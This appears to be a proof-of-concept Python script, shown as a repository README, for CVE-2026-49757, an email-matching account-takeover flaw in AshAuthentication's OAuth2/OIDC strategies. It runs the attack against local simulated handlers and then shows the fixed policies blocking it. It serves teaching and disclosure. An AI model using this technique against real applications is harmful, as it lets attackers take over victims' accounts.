README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-49757 — AshAuthentication OAuth2/OIDC Account Takeover PoC
This script demonstrates the email-based user matching vulnerability in
AshAuthentication's OAuth2 and OIDC strategies.
Attack chain:
1. Victim registers on the target app with their email
2. Attacker registers on an OAuth provider with victim's email
3. Attacker signs in via OAuth — app matches by email, logs in as victim
The script also demonstrates the fix: (strategy, sub) matching with
configurable on_untrusted_email_match policy.
Requirements: Python 3.8+ (standard library only)
Usage:
python3 exploit.py
"""
import sys
import json
from vulnerable_handler import VulnerableAuthHandler, FixedAuthHandler
BANNER = """
==============================================================================
CVE-2026-49757 — AshAuthentication OAuth2/OIDC Account Takeover
AshAuthentication < 4.14.0 and < 5.0.0-rc.10
CVSS 4.0: 9.2 (Critical) · CWE-290 · GHSA-777c-2fxx-qr28
==============================================================================
"""
SECTION = "=" * 78
def demo_vulnerable():
"""Demonstrate the vulnerable email-based user matching."""
print(SECTION)
print("PHASE 1: VULNERABLE HANDLER — Email-Based User Matching")
print("(Simulates AshAuthentication < 4.14.0)")
print(SECTION)
handler = VulnerableAuthHandler()
# --- Step 1: Victim registers normally ---
print("\n[1] Victim registers on the target application:")
victim_id = handler.register_local_user(
email="[email protected]",
username="admin",
role="admin",
)
print(f" Created local user: id={victim_id}, [email protected], role=admin")
# Victim also links their Google account
print("\n Victim links Google OAuth account:")
victim_google_info = {
"email": "[email protected]",
"email_verified": True,
"sub": "google-victim-real-12345",
"name": "Legitimate Admin",
}
handler.oauth_callback("google", victim_google_info,
access_token="victim_google_token",
refresh_token="victim_google_refresh")
victim = handler.get_user(victim_id)
print(f" Victim user: id={victim['id']}, email={victim['email']}, role={victim['role']}")
# --- Step 2: Attacker registers on a DIFFERENT provider with victim's email ---
print("\n[2] Attacker registers on Keycloak with the victim's email:")
print(" (Attacker controls a Keycloak instance or uses a provider")
print(" that doesn't verify email ownership)")
attacker_provider_info = {
"email": "[email protected]",
"email_verified": False,
"sub": "keycloak-attacker-fake-789",
"name": "Attacker",
}
print(f" Provider returns: {json.dumps(attacker_provider_info, indent=14)}")
print(" Note: email_verified=False — should NOT be trusted!")
# --- Step 3: Attacker initiates OAuth login ---
print("\n[3] Attacker initiates OAuth2 login via the malicious provider:")
print(" → GET /auth/keycloak/callback")
print()
session = handler.oauth_callback(
"keycloak",
attacker_provider_info,
access_token="attacker_access_token",
refresh_token="attacker_refresh_token",
)
print()
print(f" RESULT: {json.dumps(session, indent=14)}")
# --- Verify the takeover ---
print("\n[4] Verifying account takeover:")
print(f" Session user_id: {session['user_id']}")
print(f" Session email: {session['email']}")
print(f" Session role: {session['role']}")
print(f" Victim user_id: {victim_id}")
if session["user_id"] == victim_id:
print()
print(" [!] [!] [!] ACCOUNT TAKEOVER SUCCESSFUL [!] [!] [!]")
print(f" [!] Attacker is now logged in as user_id={victim_id} (admin)")
print(f" [!] Attacker has role=admin")
print(f" [!] Session token: {session['session_token']}")
print(f" [!] The attacker's sub (keycloak-attacker-fake-789)")
print(f" has been silently linked to the victim's account")
else:
print(" [x] Takeover failed — unexpected result")
handler.close()
return session
def demo_fixed_reject():
"""Demonstrate the fixed handler with :reject policy."""
print()
print(SECTION)
print("PHASE 2: FIXED HANDLER — :reject Policy (default)")
print("(Simulates AshAuthentication >= 4.14.0)")
print(SECTION)
handler = FixedAuthHandler(on_untrusted_email_match="reject")
print("\n[1] Victim registers and links Google account:")
victim_id = handler.register_local_user(
email="[email protected]",
username="admin",
role="admin",
)
handler.link_identity(
strategy_name="google",
sub="google-victim-real-12345",
user_id=victim_id,
user_info={
"email": "[email protected]",
"email_verified": True,
"sub": "google-victim-real-12345",
},
)
print(f" Victim: id={victim_id}, [email protected], role=admin")
print("\n[2] Attacker attempts OAuth login with victim's email:")
print(" → GET /auth/keycloak/callback")
print()
attacker_info = {
"email": "[email protected]",
"email_verified": False,
"sub": "keycloak-attacker-fake-789",
"name": "Attacker",
}
result = handler.oauth_callback("keycloak", attacker_info)
print()
print(f" RESULT: {json.dumps(result, indent=14)}")
if "error" in result:
print()
print(" [OK] LOGIN DENIED — Attack blocked by :reject policy")
print(" [OK] The attacker's sub was not found in user_identities")
print(" [OK] Email matching was NOT performed")
print(" [OK] Victim's account is safe")
else:
print(" [!] Unexpected: login succeeded")
handler.close()
return result
def demo_fixed_confirm():
"""Demonstrate the fixed handler with :confirm policy."""
print()
print(SECTION)
print("PHASE 3: FIXED HANDLER — :confirm Policy")
print("(User-friendly mode: email verification required for linking)")
print(SECTION)
handler = FixedAuthHandler(on_untrusted_email_match="confirm")
print("\n[1] Victim registers and links Google account:")
victim_id = handler.register_local_user(
email="[email protected]",
username="admin",
role="admin",
)
handler.link_identity(
strategy_name="google",
sub="google-victim-real-12345",
user_id=victim_id,
user_info={
"email": "[email protected]",
"email_verified": True,
"sub": "google-victim-real-12345",
},
)
print("\n[2] Attacker attempts OAuth login with victim's email:")
print(" → GET /auth/keycloak/callback")
print()
attacker_info = {
"email": "[email protected]",
"email_verified": False,
"sub": "keycloak-attacker-fake-789",
"name": "Attacker",
}
result = handler.oauth_callback("keycloak", attacker_info)
print()
print(f" RESULT: {json.dumps(result, indent=14)}")
if "confirmation_token" in result:
print()
print(" [OK] Confirmation token sent to [email protected]")
print(" [OK] The VICTIM receives the email, not the attacker")
print(" [OK] Identity will only be linked if the victim confirms")
print(" [OK] If the victim ignores it, the attack fails")
print(" [OK] If the victim didn't initiate this, they know")
print(" someone is trying to access their account")
elif "error" in result:
print()
print(" [OK] Login denied")
handler.close()
return result
def demo_fixed_trusted():
"""Demonstrate the fixed handler with trust_email_verified=true."""
print()
print(SECTION)
print("PHASE 4: FIXED HANDLER — trust_email_verified? = true")
print("(Trusted provider with email_verified=true auto-links)")
print(SECTION)
handler = FixedAuthHandler(
on_untrusted_email_match="reject",
trust_email_verified=True,
)
print("\n[1] Victim registers with email:")
victim_id = handler.register_local_user(
email="[email protected]",
username="admin",
role="admin",
)
print("\n[2] Legitimate user signs in via Google (verified email):")
print(" → GET /auth/google/callback")
print()
legit_info = {
"email": "[email protected]",
"email_verified": True,
"sub": "google-legitimate-user-999",
"name": "Legitimate User",
}
result = handler.oauth_callback("google", legit_info)
print()
print(f" RESULT: {json.dumps(result, indent=14)}")
if "session_token" in result:
print()
print(" [OK] Auto-linking succeeded for trusted, verified email")
print(" [OK] This is the expected behavior for known providers")
print(" (GitHub, Google, Auth0, Slack, Apple)")
else:
print(" [!] Unexpected: login failed")
print("\n[3] Attacker tries the same with unverified email:")
attacker_info = {
"email": "[email protected]",
"email_verified": False,
"sub": "keycloak-attacker-fake-789",
}
result2 = handler.oauth_callback("keycloak", attacker_info)
print()
print(f" RESULT: {json.dumps(result2, indent=14)}")
if "error" in result2:
print()
print(" [OK] Attack blocked — email_verified=false not trusted")
print(" [OK] on_untrusted_email_match=:reject applies")
handler.close()
def main():
print(BANNER)
print("""
This PoC demonstrates CVE-2026-49757, a critical vulnerability in
AshAuthentication where OAuth2/OIDC callbacks resolved to local user
accounts by email address instead of the (strategy, sub) identity pair.
The attack requires only:
- Knowledge of the victim's email address
- An account on any accepted OAuth provider with that email
CVSS 4.0: 9.2 (Critical)
CWE-290: Authentication Bypass by Spoofing
GHSA: GHSA-777c-2fxx-qr28
Affected: ash_authentication >= 0.1.0, < 4.14.0
ash_authentication >= 5.0.0-rc.0, < 5.0.0-rc.10
Patched: 4.14.0, 5.0.0-rc.10
""")
input("Press Enter to start Phase 1 (vulnerable handler)...")
# Phase 1: Vulnerable
session = demo_vulnerable()
input("\nPress Enter to start Phase 2 (fixed: :reject)...")
# Phase 2: Fixed with :reject
demo_fixed_reject()
input("\nPress Enter to start Phase 3 (fixed: :confirm)...")
# Phase 3: Fixed with :confirm
demo_fixed_confirm()
input("\nPress Enter to start Phase 4 (fixed: trust_email_verified)...")
# Phase 4: Fixed with trust_email_verified
demo_fixed_trusted()
print()
print(SECTION)
print("SUMMARY")
print(SECTION)
print("""
CVE-2026-49757 demonstrated that using email as a primary key for OAuth2/OIDC
user resolution leads to complete account takeover.
The fix introduces three layers of defense:
1. (strategy, sub) as the primary lookup — never email
2. on_untrusted_email_match policy (:reject / :confirm / :warn)
3. trust_email_verified? per-provider flag
Key takeaway: EMAIL IS NOT IDENTITY. Only (iss, sub) uniquely and stably
identifies an end-user per OpenID Connect Core §5.7.
Sources:
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49757
GHSA: https://github.com/team-alembic/ash_authentication/security/advisories/GHSA-777c-2fxx-qr28
OIDC §5.7: https://openid.net/specs/openid-connect-core-1_0.html#ClaimStability
""")
print(SECTION)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n\n[!] Interrupted by user.")
sys.exit(1)
except EOFError:
print("\n\n[!] Running non-interactively — skipping prompts.")
demo_vulnerable()
demo_fixed_reject()
demo_fixed_confirm()
demo_fixed_trusted()
print("\n[DONE] All phases completed.")